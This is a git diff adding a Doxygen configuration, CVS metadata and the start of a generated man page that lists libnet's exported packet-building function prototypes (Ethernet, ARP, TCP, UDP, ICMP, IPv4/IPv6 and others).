+# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag
+# controls if a separate .chi index file is generated (YES) or that
+# it should be included in the master .chm file (NO).
+
+GENERATE_CHI = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag
+# controls whether a binary table of contents is generated (YES) or a
+# normal table of contents (NO) in the .chm file.
+
+BINARY_TOC = NO
+
+# The TOC_EXPAND flag can be set to YES to add extra items for group members
+# to the contents of the HTML help documentation and to the tree view.
+
+TOC_EXPAND = NO
+
+# The DISABLE_INDEX tag can be used to turn on/off the condensed index at
+# top of each HTML page. The value NO (the default) enables the index and
+# the value YES disables it.
+
+DISABLE_INDEX = NO
+
+# This tag can be used to set the number of enum values (range [1..20])
+# that doxygen will group on one line in the generated HTML documentation.
+
+ENUM_VALUES_PER_LINE = 4
+
+# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be
+# generated containing a tree-like index structure (just like the one that
+# is generated for HTML Help). For this to work a browser that supports
+# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+,
+# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are
+# probably better off using the HTML help feature.
+
+GENERATE_TREEVIEW = NO
+
+# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be
+# used to set the initial width (in pixels) of the frame in which the tree
+# is shown.
+
+TREEVIEW_WIDTH = 250
+
+#---------------------------------------------------------------------------
+# configuration options related to the LaTeX output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will
+# generate Latex output.
+
+GENERATE_LATEX = NO
+
+# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `latex' will be used as the default path.
+
+LATEX_OUTPUT = latex
+
+# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be
+# invoked. If left blank `latex' will be used as the default command name.
+
+LATEX_CMD_NAME = latex
+
+# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to
+# generate index for LaTeX. If left blank `makeindex' will be used as the
+# default command name.
+
+MAKEINDEX_CMD_NAME = makeindex
+
+# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact
+# LaTeX documents. This may be useful for small projects and may help to
+# save some trees in general.
+
+COMPACT_LATEX = NO
+
+# The PAPER_TYPE tag can be used to set the paper type that is used
+# by the printer. Possible values are: a4, a4wide, letter, legal and
+# executive. If left blank a4wide will be used.
+
+PAPER_TYPE = a4wide
+
+# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX
+# packages that should be included in the LaTeX output.
+
+EXTRA_PACKAGES =
+
+# The LATEX_HEADER tag can be used to specify a personal LaTeX header for
+# the generated latex document. The header should contain everything until
+# the first chapter. If it is left blank doxygen will generate a
+# standard header. Notice: only use this tag if you know what you are doing!
+
+LATEX_HEADER =
+
+# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated
+# is prepared for conversion to pdf (using ps2pdf). The pdf file will
+# contain links (just like the HTML output) instead of page references
+# This makes the output suitable for online browsing using a pdf viewer.
+
+PDF_HYPERLINKS = NO
+
+# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of
+# plain latex in the generated Makefile. Set this option to YES to get a
+# higher quality PDF documentation.
+
+USE_PDFLATEX = NO
+
+# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode.
+# command to the generated LaTeX files. This will instruct LaTeX to keep
+# running if errors occur, instead of asking the user for help.
+# This option is also used when generating formulas in HTML.
+
+LATEX_BATCHMODE = NO
+
+# If LATEX_HIDE_INDICES is set to YES then doxygen will not
+# include the index chapters (such as File Index, Compound Index, etc.)
+# in the output.
+
+LATEX_HIDE_INDICES = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the RTF output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output
+# The RTF output is optimised for Word 97 and may not look very pretty with
+# other RTF readers or editors.
+
+GENERATE_RTF = NO
+
+# The RTF_OUTPUT tag is used to specify where the RTF docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `rtf' will be used as the default path.
+
+RTF_OUTPUT = rtf
+
+# If the COMPACT_RTF tag is set to YES Doxygen generates more compact
+# RTF documents. This may be useful for small projects and may help to
+# save some trees in general.
+
+COMPACT_RTF = NO
+
+# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated
+# will contain hyperlink fields. The RTF file will
+# contain links (just like the HTML output) instead of page references.
+# This makes the output suitable for online browsing using WORD or other
+# programs which support those fields.
+# Note: wordpad (write) and others do not support links.
+
+RTF_HYPERLINKS = NO
+
+# Load stylesheet definitions from file. Syntax is similar to doxygen's
+# config file, i.e. a series of assigments. You only have to provide
+# replacements, missing definitions are set to their default value.
+
+RTF_STYLESHEET_FILE =
+
+# Set optional variables used in the generation of an rtf document.
+# Syntax is similar to doxygen's config file.
+
+RTF_EXTENSIONS_FILE =
+
+#---------------------------------------------------------------------------
+# configuration options related to the man page output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_MAN tag is set to YES (the default) Doxygen will
+# generate man pages
+
+GENERATE_MAN = YES
+
+# The MAN_OUTPUT tag is used to specify where the man pages will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `man' will be used as the default path.
+
+MAN_OUTPUT = man
+
+# The MAN_EXTENSION tag determines the extension that is added to
+# the generated man pages (default is the subroutine's section .3)
+
+MAN_EXTENSION = .3
+
+# If the MAN_LINKS tag is set to YES and Doxygen generates man output,
+# then it will generate one additional man file for each entity
+# documented in the real man page(s). These additional files
+# only source the real man page, but without them the man command
+# would be unable to find the correct page. The default is NO.
+
+MAN_LINKS = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the XML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_XML tag is set to YES Doxygen will
+# generate an XML file that captures the structure of
+# the code including all documentation. Note that this
+# feature is still experimental and incomplete at the
+# moment.
+
+GENERATE_XML = NO
+
+# The XML_OUTPUT tag is used to specify where the XML pages will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `xml' will be used as the default path.
+
+XML_OUTPUT = xml
+
+# The XML_SCHEMA tag can be used to specify an XML schema,
+# which can be used by a validating XML parser to check the
+# syntax of the XML files.
+
+XML_SCHEMA =
+
+# The XML_DTD tag can be used to specify an XML DTD,
+# which can be used by a validating XML parser to check the
+# syntax of the XML files.
+
+XML_DTD =
+
+#---------------------------------------------------------------------------
+# configuration options for the AutoGen Definitions output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will
+# generate an AutoGen Definitions (see autogen.sf.net) file
+# that captures the structure of the code including all
+# documentation. Note that this feature is still experimental
+# and incomplete at the moment.
+
+GENERATE_AUTOGEN_DEF = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the Perl module output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_PERLMOD tag is set to YES Doxygen will
+# generate a Perl module file that captures the structure of
+# the code including all documentation. Note that this
+# feature is still experimental and incomplete at the
+# moment.
+
+GENERATE_PERLMOD = NO
+
+# If the PERLMOD_LATEX tag is set to YES Doxygen will generate
+# the necessary Makefile rules, Perl scripts and LaTeX code to be able
+# to generate PDF and DVI output from the Perl module output.
+
+PERLMOD_LATEX = NO
+
+# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be
+# nicely formatted so it can be parsed by a human reader. This is useful
+# if you want to understand what is going on. On the other hand, if this
+# tag is set to NO the size of the Perl module output will be much smaller
+# and Perl will parse it just the same.
+
+PERLMOD_PRETTY = YES
+
+# The names of the make variables in the generated doxyrules.make file
+# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX.
+# This is useful so different doxyrules.make files included by the same
+# Makefile don't overwrite each other's variables.
+
+PERLMOD_MAKEVAR_PREFIX =
+
+#---------------------------------------------------------------------------
+# Configuration options related to the preprocessor
+#---------------------------------------------------------------------------
+
+# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will
+# evaluate all C-preprocessor directives found in the sources and include
+# files.
+
+ENABLE_PREPROCESSING = YES
+
+# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro
+# names in the source code. If set to NO (the default) only conditional
+# compilation will be performed. Macro expansion can be done in a controlled
+# way by setting EXPAND_ONLY_PREDEF to YES.
+
+MACRO_EXPANSION = NO
+
+# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES
+# then the macro expansion is limited to the macros specified with the
+# PREDEFINED and EXPAND_AS_PREDEFINED tags.
+
+EXPAND_ONLY_PREDEF = NO
+
+# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files
+# in the INCLUDE_PATH (see below) will be search if a #include is found.
+
+SEARCH_INCLUDES = YES
+
+# The INCLUDE_PATH tag can be used to specify one or more directories that
+# contain include files that are not input files but should be processed by
+# the preprocessor.
+
+INCLUDE_PATH =
+
+# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard
+# patterns (like *.h and *.hpp) to filter out the header-files in the
+# directories. If left blank, the patterns specified with FILE_PATTERNS will
+# be used.
+
+INCLUDE_FILE_PATTERNS =
+
+# The PREDEFINED tag can be used to specify one or more macro names that
+# are defined before the preprocessor is started (similar to the -D option of
+# gcc). The argument of the tag is a list of macros of the form: name
+# or name=definition (no spaces). If the definition and the = are
+# omitted =1 is assumed.
+
+PREDEFINED =
+
+# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then
+# this tag can be used to specify a list of macro names that should be expanded.
+# The macro definition that is found in the sources will be used.
+# Use the PREDEFINED tag if you want to use a different macro definition.
+
+EXPAND_AS_DEFINED =
+
+# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then
+# doxygen's preprocessor will remove all function-like macros that are alone
+# on a line, have an all uppercase name, and do not end with a semicolon. Such
+# function macros are typically used for boiler-plate code, and will confuse the
+# parser if not removed.
+
+SKIP_FUNCTION_MACROS = YES
+
+#---------------------------------------------------------------------------
+# Configuration::addtions related to external references
+#---------------------------------------------------------------------------
+
+# The TAGFILES option can be used to specify one or more tagfiles.
+# Optionally an initial location of the external documentation
+# can be added for each tagfile. The format of a tag file without
+# this location is as follows:
+# TAGFILES = file1 file2 ...
+# Adding location for the tag files is done as follows:
+# TAGFILES = file1=loc1 "file2 = loc2" ...
+# where "loc1" and "loc2" can be relative or absolute paths or
+# URLs. If a location is present for each tag, the installdox tool
+# does not have to be run to correct the links.
+# Note that each tag file must have a unique name
+# (where the name does NOT include the path)
+# If a tag file is not located in the directory in which doxygen
+# is run, you must also specify the path to the tagfile here.
+
+TAGFILES =
+
+# When a file name is specified after GENERATE_TAGFILE, doxygen will create
+# a tag file that is based on the input files it reads.
+
+GENERATE_TAGFILE =
+
+# If the ALLEXTERNALS tag is set to YES all external classes will be listed
+# in the class index. If set to NO only the inherited external classes
+# will be listed.
+
+ALLEXTERNALS = NO
+
+# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed
+# in the modules index. If set to NO, only the current project's groups will
+# be listed.
+
+EXTERNAL_GROUPS = YES
+
+# The PERL_PATH should be the absolute path and name of the perl script
+# interpreter (i.e. the result of `which perl').
+
+PERL_PATH = /usr/bin/perl
+
+#---------------------------------------------------------------------------
+# Configuration options related to the dot tool
+#---------------------------------------------------------------------------
+
+# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will
+# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base or
+# super classes. Setting the tag to NO turns the diagrams off. Note that this
+# option is superceded by the HAVE_DOT option below. This is only a fallback. It is
+# recommended to install and use dot, since it yields more powerful graphs.
+
+CLASS_DIAGRAMS = YES
+
+# If set to YES, the inheritance and collaboration graphs will hide
+# inheritance and usage relations if the target is undocumented
+# or is not a class.
+
+HIDE_UNDOC_RELATIONS = YES
+
+# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is
+# available from the path. This tool is part of Graphviz, a graph visualization
+# toolkit from AT&T and Lucent Bell Labs. The other options in this section
+# have no effect if this option is set to NO (the default)
+
+HAVE_DOT = NO
+
+# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen
+# will generate a graph for each documented class showing the direct and
+# indirect inheritance relations. Setting this tag to YES will force the
+# the CLASS_DIAGRAMS tag to NO.
+
+CLASS_GRAPH = YES
+
+# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen
+# will generate a graph for each documented class showing the direct and
+# indirect implementation dependencies (inheritance, containment, and
+# class references variables) of the class with other documented classes.
+
+COLLABORATION_GRAPH = YES
+
+# If the UML_LOOK tag is set to YES doxygen will generate inheritance and
+# colloborations diagrams in a style similiar to the OMG's Unified Modeling
+# Language.
+
+UML_LOOK = NO
+
+# If set to YES, the inheritance and collaboration graphs will show the
+# relations between templates and their instances.
+
+TEMPLATE_RELATIONS = NO
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT
+# tags are set to YES then doxygen will generate a graph for each documented
+# file showing the direct and indirect include dependencies of the file with
+# other documented files.
+
+INCLUDE_GRAPH = YES
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and
+# HAVE_DOT tags are set to YES then doxygen will generate a graph for each
+# documented header file showing the documented files that directly or
+# indirectly include this file.
+
+INCLUDED_BY_GRAPH = YES
+
+# If the CALL_GRAPH and HAVE_DOT tags are set to YES then doxygen will
+# generate a call dependency graph for every global function or class method.
+# Note that enabling this option will significantly increase the time of a run.
+# So in most cases it will be better to enable call graphs for selected
+# functions only using the \callgraph command.
+
+CALL_GRAPH = NO
+
+# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen
+# will graphical hierarchy of all classes instead of a textual one.
+
+GRAPHICAL_HIERARCHY = YES
+
+# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images
+# generated by dot. Possible values are png, jpg, or gif
+# If left blank png will be used.
+
+DOT_IMAGE_FORMAT = png
+
+# The tag DOT_PATH can be used to specify the path where the dot tool can be
+# found. If left blank, it is assumed the dot tool can be found on the path.
+
+DOT_PATH =
+
+# The DOTFILE_DIRS tag can be used to specify one or more directories that
+# contain dot files that are included in the documentation (see the
+# \dotfile command).
+
+DOTFILE_DIRS =
+
+# The MAX_DOT_GRAPH_WIDTH tag can be used to set the maximum allowed width
+# (in pixels) of the graphs generated by dot. If a graph becomes larger than
+# this value, doxygen will try to truncate the graph, so that it fits within
+# the specified constraint. Beware that most browsers cannot cope with very
+# large images.
+
+MAX_DOT_GRAPH_WIDTH = 1024
+
+# The MAX_DOT_GRAPH_HEIGHT tag can be used to set the maximum allows height
+# (in pixels) of the graphs generated by dot. If a graph becomes larger than
+# this value, doxygen will try to truncate the graph, so that it fits within
+# the specified constraint. Beware that most browsers cannot cope with very
+# large images.
+
+MAX_DOT_GRAPH_HEIGHT = 1024
+
+# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the
+# graphs generated by dot. A depth value of 3 means that only nodes reachable
+# from the root by following a path via at most 3 edges will be shown. Nodes that
+# lay further from the root node will be omitted. Note that setting this option to
+# 1 or 2 may greatly reduce the computation time needed for large code bases. Also
+# note that a graph may be further truncated if the graph's image dimensions are
+# not sufficient to fit the graph (see MAX_DOT_GRAPH_WIDTH and MAX_DOT_GRAPH_HEIGHT).
+# If 0 is used for the depth value (the default), the graph is not depth-constrained.
+
+MAX_DOT_GRAPH_DEPTH = 0
+
+# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will
+# generate a legend page explaining the meaning of the various boxes and
+# arrows in the dot generated graphs.
+
+GENERATE_LEGEND = YES
+
+# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will
+# remove the intermediate dot files that are used to generate
+# the various graphs.
+
+DOT_CLEANUP = YES
+
+#---------------------------------------------------------------------------
+# Configuration::addtions related to the search engine
+#---------------------------------------------------------------------------
+
+# The SEARCHENGINE tag specifies whether or not a search engine should be
+# used. If set to NO the values of all tags below this one will be ignored.
+
+SEARCHENGINE = NO
+
+# The CGI_NAME tag should be the name of the CGI script that
+# starts the search engine (doxysearch) with the correct parameters.
+# A script with this name will be generated by doxygen.
+
+CGI_NAME = search.cgi
+
+# The CGI_URL tag should be the absolute URL to the directory where the
+# cgi binaries are located. See the documentation of your http daemon for
+# details.
+
+CGI_URL =
+
+# The DOC_URL tag should be the absolute URL to the directory where the
+# documentation is located. If left blank the absolute path to the
+# documentation, with file:// prepended to it, will be used.
+
+DOC_URL =
+
+# The DOC_ABSPATH tag should be the absolute path to the directory where the
+# documentation is located. If left blank the directory on the local machine
+# will be used.
+
+DOC_ABSPATH =
+
+# The BIN_ABSPATH tag must point to the directory where the doxysearch binary
+# is installed.
+
+BIN_ABSPATH = /usr/local/bin/
+
+# The EXT_DOC_PATHS tag can be used to specify one or more paths to
+# documentation generated for other projects. This allows doxysearch to search
+# the documentation for these projects as well.
+
+EXT_DOC_PATHS =
diff --git a/libnet/doc/man/CVS/Entries b/libnet/doc/man/CVS/Entries
new file mode 100644
index 0000000..1784810
--- /dev/null
+++ b/libnet/doc/man/CVS/Entries
@@ -0,0 +1 @@
+D
diff --git a/libnet/doc/man/CVS/Repository b/libnet/doc/man/CVS/Repository
new file mode 100644
index 0000000..2c47d63
--- /dev/null
+++ b/libnet/doc/man/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/doc/man
diff --git a/libnet/doc/man/CVS/Root b/libnet/doc/man/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/doc/man/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/doc/man/man3/libnet-functions.h.3 b/libnet/doc/man/man3/libnet-functions.h.3
new file mode 100644
index 0000000..6ebbfad
--- /dev/null
+++ b/libnet/doc/man/man3/libnet-functions.h.3
@@ -0,0 +1,3136 @@
+.TH "libnet-functions.h" 3 "10 Mar 2004" "libnet" \" -*- nroff -*-
+.ad l
+.nh
+.SH NAME
+libnet-functions.h \- libnet exported function prototypes
+
+.SH SYNOPSIS
+.br
+.PP
+.SS "Functions"
+
+.in +1c
+.ti -1c
+.RI "libnet_t * \fBlibnet_init\fP (int injection_type, char *device, char *err_buf)"
+.br
+.ti -1c
+.RI "void \fBlibnet_destroy\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "void \fBlibnet_clear_packet\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "void \fBlibnet_stats\fP (libnet_t *l, struct libnet_stats *ls)"
+.br
+.ti -1c
+.RI "int \fBlibnet_getfd\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "int8_t * \fBlibnet_getdevice\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "u_int8_t * \fBlibnet_getpbuf\fP (libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "u_int32_t \fBlibnet_getpbuf_size\fP (libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "char * \fBlibnet_geterror\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "u_int32_t \fBlibnet_getpacket_size\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "int \fBlibnet_seed_prand\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "u_int32_t \fBlibnet_get_prand\fP (int mod)"
+.br
+.ti -1c
+.RI "int \fBlibnet_toggle_checksum\fP (libnet_t *l, libnet_ptag_t ptag, int mode)"
+.br
+.ti -1c
+.RI "char * \fBlibnet_addr2name4\fP (u_int32_t in, u_int8_t use_name)"
+.br
+.ti -1c
+.RI "u_int32_t \fBlibnet_name2addr4\fP (libnet_t *l, char *host_name, u_int8_t use_name)"
+.br
+.ti -1c
+.RI "libnet_in6_addr \fBlibnet_name2addr6\fP (libnet_t *l, char *host_name, u_int8_t use_name)"
+.br
+.ti -1c
+.RI "void \fBlibnet_addr2name6_r\fP (struct libnet_in6_addr addr, u_int8_t use_name, char *host_name, int host_name_len)"
+.br
+.ti -1c
+.RI "int \fBlibnet_plist_chain_new\fP (libnet_t *l, libnet_plist_t **plist, char *token_list)"
+.br
+.ti -1c
+.RI "int \fBlibnet_plist_chain_next_pair\fP (libnet_plist_t *plist, u_int16_t *bport, u_int16_t *eport)"
+.br
+.ti -1c
+.RI "int \fBlibnet_plist_chain_dump\fP (libnet_plist_t *plist)"
+.br
+.ti -1c
+.RI "char * \fBlibnet_plist_chain_dump_string\fP (libnet_plist_t *plist)"
+.br
+.ti -1c
+.RI "int \fBlibnet_plist_chain_free\fP (libnet_plist_t *plist)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_802_1q\fP (u_int8_t *dst, u_int8_t *src, u_int16_t tpi, u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_802_1x\fP (u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_802_2\fP (u_int8_t dsap, u_int8_t ssap, u_int8_t control, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_802_2snap\fP (u_int8_t dsap, u_int8_t ssap, u_int8_t control, u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_802_3\fP (u_int8_t *dst, u_int8_t *src, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ethernet\fP (u_int8_t *dst, u_int8_t *src, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_autobuild_ethernet\fP (u_int8_t *dst, u_int16_t type, libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_fddi\fP (u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_autobuild_fddi\fP (u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_arp\fP (u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln, u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_autobuild_arp\fP (u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa, libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_tcp\fP (u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack, u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_tcp_options\fP (u_int8_t *options, u_int32_t options_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_udp\fP (u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_cdp\fP (u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type, u_int16_t len, u_int8_t *value, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_icmpv4_echo\fP (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_icmpv4_mask\fP (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_icmpv4_unreach\fP (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_icmpv4_redirect\fP (u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t gateway, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_icmpv4_timeexceed\fP (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_icmpv4_timestamp\fP (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_igmp\fP (u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ipv4\fP (u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag, u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ipv4_options\fP (u_int8_t *options, u_int32_t options_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_autobuild_ipv4\fP (u_int16_t len, u_int8_t prot, u_int32_t dst, libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ipv6\fP (u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh, u_int8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ipv6_frag\fP (u_int8_t nh, u_int8_t reserved, u_int16_t frag, u_int32_t id, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ipv6_routing\fP (u_int8_t nh, u_int8_t len, u_int8_t rtype, u_int8_t segments, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ipv6_destopts\fP (u_int8_t nh, u_int8_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ipv6_hbhopts\fP (u_int8_t nh, u_int8_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_autobuild_ipv6\fP (u_int16_t len, u_int8_t nh, struct libnet_in6_addr dst, libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_isl\fP (u_int8_t *dhost, u_int8_t type, u_int8_t user, u_int8_t *shost, u_int16_t len, u_int8_t *snap, u_int16_t vid, u_int16_t index, u_int16_t reserved, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ipsec_esp_hdr\fP (u_int32_t spi, u_int32_t seq, u_int32_t iv, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
